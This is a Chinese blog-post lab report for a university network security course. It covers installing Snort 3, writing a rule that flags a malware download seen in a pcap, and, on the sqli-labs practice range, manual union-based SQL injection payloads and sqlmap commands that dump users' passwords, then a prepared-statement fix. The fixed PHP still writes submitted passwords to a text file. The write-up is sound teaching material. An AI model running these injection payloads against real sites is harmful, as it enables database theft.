UCAS课程-《网络与信息系统安全》实验二:Snort安装与配置|Sqli-labs使用

本文是我在《网络与信息系统安全》课程上完成的实验报告,简单整理了下。


实验2-1: Snort入侵检测系统(IDS)部署与攻击测试

安装

实验环境

  • 运行环境:Ubuntu 24.04 LTS Cloud-init
  • VM配置:4 vcpu, 4GB RAM
  • 虚拟化平台:Proxmox VE 8.3.0
  • 网络拓扑:
    • Target(运行Snort的主机):192.168.10.169
    • Attacker:192.168.10.168

编译安装

安装过程参考官方文档:https://docs.snort.org/start/installation

  1. 安装 LibDAQ

    Snort 3 LibDAQ 为与数据源(如网络接口)通信提供了一层抽象。从源码编译安装:

    1
    2
    3
    4
    $ git clone https://github.com/snort3/libdaq.git

    $ cd libdaq
    $ ./bootstrap

    image-20250524102737053

    发现缺少 bootstrap,那么我们使用 apt 安装它。

    sudo apt install autoconf

    继续执行 ./bootstrap,发现有报错:

    image-20250524102844732

    有许多未定义的宏,应该是由 Autoconf、Automake、m4、Libtool 等工具链提供的。尝试完善构建依赖的安装:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    sudo apt update
    sudo apt install -y \
    autoconf \
    automake \
    libtool \
    m4 \
    pkg-config \
    build-essential

    # snort 可能依赖的额外头文件一并安装一下
    sudo apt install -y \
    libpcap-dev \
    libpcre3-dev \
    libdumbnet-dev \
    bison \
    flex \
    zlib1g-dev \
    liblzma-dev \
    openssl \
    libssl-dev \
    libnghttp2-dev

    继续执行 ./bootstrap,没有报错了,继续进行我们 LibDAQ的安装。

    1
    2
    $ ./configure --prefix=/usr/local/lib/daq_s3
    $ sudo make install

    随后添加其 lib 目录到 ld.so.conf 中:

    echo '/usr/local/lib/daq_s3/lib/' > /etc/ld.so.conf.d/libdaq3.conf

    执行 sudo ldconfig 更新链接。随后可以 ldconfig -p验证一下。

    image-20250524104219965

  2. 安装 Snort

    首先安装 Cmake:sudo apt install cmake

    以 /opt/snorty 为示例安装路径:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    $ git clone https://github.com/snort3/snort3.git

    # 切换到 root 用户安装
    $ sudo -i
    $ export my_path=/opt/snorty
    $ mkdir -p $my_path
    $ cd snort3

    # 配置 pkg-config 环境变量以找到libdaq
    $ export PKG_CONFIG_PATH=/usr/local/lib/daq_s3/lib/pkgconfig:$PKG_CONFIG_PATH
    $ ./configure_cmake.sh --prefix=$my_path \
    --with-daq-includes=/usr/local/lib/daq_s3/include/ \
    --with-daq-libraries=/usr/local/lib/daq_s3/lib/

    安装 Required Packages

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    sudo apt-get update
    sudo apt-get install -y \
    cmake \
    libdumbnet-dev \
    flex \
    build-essential \
    libhwloc-dev \
    luajit \
    libluajit-5.1-dev \
    libssl-dev \
    libpcap-dev \
    libpcre3-dev \
    pkg-config \
    zlib1g-dev

    发现还会缺少 libpcre2

    image-20250524110115142

    sudo apt-get install libpcre2-dev 安装即可。

    最后 configure 完成:

    image-20250524110208222

    进行编译并安装:

    1
    2
    3
    $ cd build
    $ make -j $(nproc)
    $ make install

    安装成功后,添加进环境变量。

    1
    2
    echo 'export PATH="/opt/snorty/bin:$PATH"' >> ~/.zshrc
    source ~/.zshrc

    image-20250524113556815

测试检测

  1. 准备 Lua 脚本

    将源代码仓库中 lua/拷贝至 snort 安装目录,方便后续调用:

    cp -r lua /opt/snorty/

  2. 准备 .rules 规则

    从官网下载社区版本的规则库:https://www.snort.org/downloads

    例如我下载的是:https://www.snort.org/downloads/community/snort3-community-rules.tar.gz

    在 snort 安装目录创建 rules/目录,将解压后的 snort3-community.rules 拷贝进去。

  3. 准备 pcap 包

    最简单的测试方法就是让 snort 读取 pcap 包并生成告警。我这里准备了 Ruoyi-4.2 SquirrelMail-1.4.22 Typecho1.0 nexus-3.21.1 这四个服务的良性和恶意流量数据,用于测试。

    image-20250524115141579

  4. 测试规则解析

    snort -c /opt/snorty/lua/snort.lua -R /opt/snorty/rules/snort3-community.rules

    正常应该输出:Snort successfully validated the configuration (with 0 warnings).

    image-20250524115955215
  5. 测试检测效果

    找一个恶意IDS,测试是否能检测到恶意行为。我们使用nefu大学的Maple IDS开源数据集,下载一个恶意pcap:https://maple.nefu.edu.cn/dataset/download/0-Maple-IDS/LOIC/http_ddos_http_loic_random.pcap

    执行snort -q -c /etc/snort/snort.lua -R /etc/snort/snort3-community.rules -r http_ddos_http_loic_random.pcap -A alert_fast,看到成功产生了3条报警。

    image-20250524154739628

规则维护

由于 Snort 是规则驱动的 IDS,因此规则的编写质量对于检测效果有重要的影响。在本次大作业中,从 Github 社区寻找了一个 APT 场景中的 pcap 包 malware.pcap,首先对其进行人工观察分析,抽取出行为模式,进行 snort 的 rules 规则编写。

攻击行为分析

使用 wireshark 打开 malware.pcap,筛选 HTTP流量,发现有下载 ooiwy.pdf 的请求,但根据文件头判断,其应该是一个 Windows 可执行文件。

image-20250524154924756

使用微步沙箱进行检测,发现其已经被分析过且在恶意样本库中。

1
SHA256: f25a780095730701efac67e9d5b84bc289afea56d96d8aff8a44af69ae606404

image-20250524154945830

该二进制是加壳的,运行后存在使用 sleep 拖慢分析、探测外网 IP、修改内存属性等行为。

image-20250524155025069

值得关注的是,在不同的沙箱运行环境中,网络行为有所差异:Win10 中只请求了几个内网IP地址,Win7 64bit中却请求了更多,包括 184.74.99.214 、46.99.175.217 、185.56.175.122 等。查询该 IP 的威胁情报,发现多个来源的情报均将其标记为恶意。

image-20250524155038617

然而,在PCAP包中过滤 ip.host==184.74.99.214 并没有结果。让云沙箱再次执行分析,发现请求了不同的地址,推测是通过DNS解析之后再请求C2地址。Win10中没有请求,且执行流程有较大差异,可能是无法在Win10上正常执行。

PCAP包中可观察到明显的C2回连特征,用HTTP协议连接到 103.148.41.195:443,上报了自己的系统信息。

image-20250524155052424

image-20250524155059893

自定义规则编写

根据上面的分析,一种合理的方式是:对HTTP响应中,响应体为X86 SHELLCODE,但uri不包括.exe的流量进行告警。因为这通常意味着攻击者将一个可执行文件,伪装成其他文件来传播。

经过多次调整,最终写出以下规则:

1
2
3
4
5
6
7
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"HTTP traffic with non-.exe executable file detected";
content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90|";
content:!"\.exe"; http_uri;
sid:1001;
rev:2;
)

运行检测,成功输出告警!

image-20250524155210848

检测到{TCP} 185.244.41.29:80 -> 10.8.19.101:49748存在该行为,与我们人工分析PCAP相符。

  1. 精确性

    我们编写的 sid:1001 规则成功检测到了伪装成 PDF 的可执行文件下载行为。评估该规则的精确性,它是否可能产生误报(False Positives)?例如,是否存在合法的、非.exe 文件但包含了类似 |90 90 90 ...| (NOP Sled) 的二进制数据?

    针对这种思考,我们可以尝试增强 sid:1001 的匹配规则,尝试结合 file_data 关键字或其他更精确的文件内容检测方法,减少对 NOP Sled 的单一依赖,提高规则的鲁棒性。

  2. 覆盖性

​ 该规则是否可能产生漏报(False Negatives)?攻击者可以通过哪些方式绕过此规则?

  • 使用不同的填充字节代替 0x90
  • 对可执行文件进行加密或编码。
  • 使用 HTTPS 协议进行传输(如果 Snort 未配置 SSL/TLS 解密)。
  • 将可执行文件分块传输。
  • 修改 URI,使其包含 .exe 但实际文件内容不是 Windows 可执行文件。

​ 针对以上思考,后续的优化思路可以包括:

  • 使用更精细和灵活的方式定义规则:Snort3 开始引入了 Lua 脚本,可以弥补 rules 的单一使用的不足。
  • 基于机器学习的方式检测:可以一定程度上缓解因加密引起的漏报,例如使用 Lua 脚本调用外部 API,实现智能检测。但这会引入额外的延迟和性能开销,在 IDS 模式中比较适用,IPS 可能无法容忍这种开销。

实验2-2: SQL注入攻击原理与检测技术实践

靶场搭建

直接使用 docker 进行搭建,没找到官方的镜像,但 acgpiano/sqli-labs 有 50k 的pull,经测试功能正常。

1
2
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest

随后访问 http://my-server,进入 sqli-labs 界面,首先初始化数据库。

image-20250524170349629

成功之后即可进行实验。

手工注入

以 POST 类型的 error-based 注入为例(Less-11):

使用 admin'作为用户名,出现报错,可判断注入点应该在此处。

image-20250524170508558

使用 burpsuite 拦截下请求,以方便调试。

image-20250524170734771
  1. 爆破列数

    uname=admin' order by 2-- &passwd=1&submit=Submit

    有两列。

  2. 获取库名

    使用 information_schema 获得:

    uname=admin' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)-- &passwd=1&submit=Submit

    image-20250524171130009
  3. 获取security库的表名

    uname=admin' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')-- &passwd=1&submit=Submit

    image-20250524171231820
  4. 获取字段名

    uname=admin' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')-- &passwd=1&submit=Submit

    image-20250524171302119
  5. 获取数据

    uname=admin' and 1=2 union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)-- &passwd=1&submit=Submit

    image-20250524171347011

    至此,相当于拿到用户的明文密码了。

自动化注入检测

使用 sqlmap 尝试自动化。

sqlmap -u 'http://192.168.10.169/Less-11/' --forms

识别到 uname 有4种注入类型:

image-20250524171919534

如果要获取数据,也是首先拿数据库名:

sqlmap -u 'http://192.168.10.169/Less-11/' --forms --batch

image-20250524172033123

其次获得获得表:

sqlmap -u 'http://192.168.10.169/Less-11/' --forms --tables --batch -D security

image-20250524172300289

拿users表中的数据:

sqlmap -u 'http://192.168.10.169/Less-11/' --forms --dump --batch -D security -T users

image-20250524172342745

修复与防御

进入到容器中,到 /var/www/html 下访问源码。

image-20250524172621211

我们使用参数化/预编译查询修复sqli-lab这个题目中的sql注入漏洞,将index.php进行修改:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

修改后的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'security';
$link = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);


$sql = "SELECT username, password FROM users WHERE username = ? AND password = ? LIMIT 1";

if ($stmt = mysqli_prepare($link, $sql)) {

mysqli_stmt_bind_param($stmt, "ss", $uname, $passwd);

mysqli_stmt_execute($stmt);

$result = mysqli_stmt_get_result($stmt);

$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
if($row)
{
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
echo "<br>";
echo 'Your Password:' .htmlspecialchars($row['password'], ENT_QUOTES, 'UTF-8');
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';

if(mysqli_error($link)){
print_r(mysqli_error($link));
} else {
echo "Login Failed!";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

mysqli_stmt_close($stmt);
} else {
echo '<font color= "#ff0000" font size="3">';
echo "SQL statement preparation failed: " . mysqli_error($link);
echo "</font>";
}

mysqli_close($link);
}
?>

发现无法实现注入,修复完成。

image-20250524173409839

UCAS课程-《网络与信息系统安全》实验二:Snort安装与配置|Sqli-labs使用

https://www.catop.top/2025/05/24/course-grandfather-teacher-exp-2/

作者

Catop

发布于

2025-05-24

更新于

2025-05-24

许可协议

评论